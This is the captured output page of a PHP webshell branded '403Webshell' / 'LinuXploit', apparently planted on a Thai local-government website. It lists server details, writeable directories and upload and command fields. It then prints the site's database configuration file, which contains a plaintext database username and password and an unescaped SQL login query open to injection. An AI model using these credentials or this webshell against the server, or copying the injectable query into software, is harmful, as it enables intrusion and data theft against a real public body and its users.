403Webshell
Server IP : 119.59.102.212  /  Your IP : 18.217.142.228
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/samrit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/samrit//connec.php
<?php
$_SESSION['folder_name']="ops-web";
$name_folder="samrit";
$_SESSION['dbname'] = "nanuan_samrit"; #  database  dankhun2_3
$_SESSION[name_province]="surin"; // Province

$_SESSION['hostname']="localhost";
$_SESSION['user']="nanuan_nanuan";
$_SESSION['passwd']="Ftr13kmW";

$_SESSION['web_width']="997";
$_SESSION['id_tumbon']="nanuan_samrit";
$_SESSION['filsh_width']="1024px";
$_SESSION['filsh_height']="350px";
// connection database
$handle=mysql_connect($_SESSION['hostname'],$_SESSION['user'],$_SESSION['passwd']) or die("connect to database fail");
$result1=mysql_select_db($_SESSION['dbname'],$handle) or die ("No");

$charset = "SET character_set_results=utf8";
$charset="SET NAMES 'utf8'";
mysql_query($charset) or die('Invalid query: ' . mysql_error());
echo"<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";

// ����� user ���������˹�ҹ��ҧ��� ���Է����˹�ҹ���������
if($_SESSION[username_]!="" or $_SESSION[password_]){
		$sqlx="select user,pass from cms_main_user where user='$_SESSION[username_]' and pass='$_SESSION[password_]'";
		$resultx=mysql_query($sqlx);
		$num = mysql_num_rows($resultx);
		if(($num>0) and ($_SESSION['web_name']!=$name_folder)){
									session_unregister("id_user_admin");
 									session_unregister("name_post");
									session_unregister("name_email");
									session_unregister("username_");
									session_unregister("password_");
									session_unregister("admin_web");
									session_unregister("module_access");
			print "<meta http-equiv=refresh content=0;URL=index.php>";
		}
}
$_SESSION['web_name'] = $name_folder; # ���� web
?>

Youez - 2016 - github.com/yon3zu
LinuXploit